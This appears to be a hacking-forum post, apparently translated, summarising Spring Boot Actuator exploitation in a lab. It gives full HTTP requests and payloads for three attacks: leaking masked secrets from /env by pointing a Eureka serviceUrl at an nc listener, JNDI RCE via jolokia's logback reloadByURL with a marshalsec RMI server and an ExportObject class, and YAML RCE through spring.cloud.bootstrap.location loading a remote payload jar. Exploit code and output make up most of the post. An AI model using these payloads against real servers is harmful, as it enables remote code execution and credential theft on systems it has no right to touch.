Jump to content

Title: SpringBoot Actuator RCE Vulnerability Summary

Featured Replies

Posted

1. SpringBoot env to obtain * sensitive information

When we directly access the springboot site, we can see that some password fields are filled with *

Clear text fields can be obtained through ${name} 2. Inappropriate configuration leads to leakage of sensitive information (password calls asterisk, while pwd does not call asterisk) hec1loozt4p19404.png 1049983-20230301123203473-1048483928.jpg Reference https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

Specific implementation process :

For example, we want to get the pid parameter value

'PID': '10648',

POST /env HTTP/1.1

Host: 10.20.24.191:8090

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

Then post refresh any content, trigger the vulnerability

Ps: generally needs to wait for 3 seconds to have a response package. If the return immediately may be due to the lack of spring-boot-starter-actuator extension package that cannot be refreshed, it cannot be exploited.

POST /refresh HTTP/1.1

Host: 10.20.24.191:8090

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

12312

When the server nc listens to port 2444, it is received

root@kali:/tmp# nc -lvvp 2444

listening on [any] 2444 .

connect to [10.20.24.191] from kali [10.20.24.191] 40960

GET /xstream/apps/HTTP/1.1

Accept: application/json

DiscoveryIdentity-Name: DefaultClient

DiscoveryIdentity-Version: 1.4

DiscoveryIdentity-Id: 10.20.24.191

Accept-Encoding: gzip

Host: 10.20.24.191:2444

Connection: Keep-Alive

User-Agent: Java-EurekaClient/v1.4.11

Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

base64 decoding to obtain

root@kali:/tmp# echo MzgzNDY6bnVsbA==|base64 -d

38346:null

Same as the pid information above

Similarly, get user.country parameters, the steps are the same

Results :

root@kali:/tmp# nc -lvvp 2555

listening on [any] 2555 .

connect to [10.20.24.191] from kali [10.20.24.191] 38994

GET /xstream/apps/HTTP/1.1

Accept: application/json

DiscoveryIdentity-Name: DefaultClient

DiscoveryIdentity-Version: 1.4

DiscoveryIdentity-Id: 10.20.24.191

Accept-Encoding: gzip

Host: 10.20.24.191:2555

Connection: Keep-Alive

User-Agent: Java-EurekaClient/v1.4.11

Authorization: Basic VVM6bnVsbA==

sent 0, rcvd 310

base64 decoding to obtain

root@kali:/tmp# echo VVM6bnVsbA==|base64 -d

US: null scripting:

Enter the parameters to be queried, enter the port to be listened to by nc f4xmblgp51s19437.png

1049983-20230301123204371-1348724531.jpg

Listen to the port, get the specified header header, automatically base64 decryption oewnwtu01n419458.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

Ps: If you are lucky enough to have Eureka-Client 1.8.7 in the target classpath (usually included in Spring Cloud Netflix), you can exploit the XStream deserialization vulnerability in it.

For example,User-Agent: Java-EurekaClient/v1.4.11

2. SpringBoot_Actuator JNDI RCE

1. Environment construction

git clone https://github.com/veracode-research/actuator-testbed

start up

mvn install

or

mvn spring-boot:run

Through compilation and operation, I found that the listening IP address is 127.0.0.1, and can only be accessed by local machine. Baidu search, just change it to 0.0.0.0.

Find key files

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

Change to

server.port=8090

server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4

# all spring boot versions 1.0 - 1.4 expose actors by default without any parameters

# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4

#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+

# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actors

#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+

# when 'management.security.enabled=false' but all sensitive actors explicitly disabled

#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+

#management.endpoints.web.exposure.include=*

2. Restart and start

mvn spring-boot:run

or

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

Wait for a moment

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090

tcp6 0 0 :8090 :* LISTEN 33666/java

root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/aol5yvcqfdt19475.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/jolokia/list zexql2rrfmv19477.png

1049983-20230301123207520-1178629798.png

ReloadByURL can load remote url xml files

'ch.qos.logback.classic': {

'Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator': {

'op': {

'reloadByURL': {

'args': [

{

'name': 'p1',

'type': 'java.net.URL',

'desc': ''

}

],

'ret': 'void',

'desc': 'Operation exposed for management'

}

3.http service stores logback.xml,ExportObject.class

logback.xml file content

bxevcsa0ver19485.png

1049983-20230301123208204-1124192519.pngconfiguration

insertFromJNDI env-entry-name='rmi://10.20.24.191:1099/Exploit' as='appName' /

/configuration

ExportObject.java

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

public class ExportObject {

public ExportObject() throws Exception {

Process var1=Runtime.getRuntime().exec('touch /tmp/jas502n');

InputStream var2=var1.getInputStream();

BufferedReader var3=new BufferedReader(new InputStreamReader(var2));

String var4;

while((var4=var3.readLine()) !=null) {

System.out.println(var4);

}

var1.waitFor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(String[] var0) throws Exception {

}

}

4.RCE trigger

Listen to rmi port

root@kali:~/ldap_rmi# cat rmi.sh

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject

root@kali:~/ldap_rmi# ./rmi.sh

* Opening JRMP listener on 1099

Have connection from /10.20.24.191:43878

Reading message.

Is RMI.lookup call for ExportObject 2

Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class

Close connection

The browser access loads the remote logback.xml file for parsing,

The server accesses a malicious jndi address, causing malicious bytecode code execution

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:/!/10.20.24.191:8000!/logback.xml

hkhjtnk3ghv19514.png

1049983-20230301123208943-696382667.png

5. Command execution is successful

root@kali:/var/www/html# ls /tmp/j*

/tmp/jas502n

root@kali:/var/www/html#

III. YML RCE vulnerability

The method of implementing RCE through Spring environment spring.cloud.bootstrap.location property modification is more reliable

This property is used to load the external configuration and parse it in YAML format. To achieve this, any POST/refresh content triggers the vulnerability. yaml_payload.yml file content:

!javax.script.ScriptEngineManager [

!java.net.URLClassLoader [[

!java.net.URL ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar manufacturing

Code https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgAwesomeScriptEngineFactory.java Part of the code

import javax.script.ScriptEngine;

import javax.script.ScriptEngineFactory;

import java.io.IOException;

import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {

try {

Runtime.getRuntime().exec('touch /tmp/success');

} catch (IOException e) {

e.printStackTrace();

}

}

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

Contains the actual bytecode and has a malicious payload in the constructor.

ymal_payload.jar\services\javax.script.ScriptEngineFactory

Just a text file containing a full reference to 'artsploit.AwesomeScriptEngineFactory' so that ServiceLoader knows where to find the class

Content: artsploit.AwesomeScriptEngineFactory

The jar file exists in the http server

http://10.20.24.191:8090/ymal_payload.jar

2.Set spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngPOST /env HTTP/1.1

Host: 10.20.24.191:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

3.refresh post any content, RCE vulnerability triggered

1049983-20230301123211028-1986776549.pngPOST /refresh HTTP/1.1

Host: 10.20.24.191:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE execution was successful

1049983-20230301123211641-785428136.jpgroot@kali:/var/www/html# ls /tmp/succ*

/tmp/success

root@kali:/var/www/html# Ps: Compared to Eureka's XStream payload, the yaml method can even be used in the latest version. Reference link https://www.veracode.com/blog/research/exploiting-spring-boot-actuators original link: https://github.com/jas502n/SpringBoot_Actuator_RCE

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.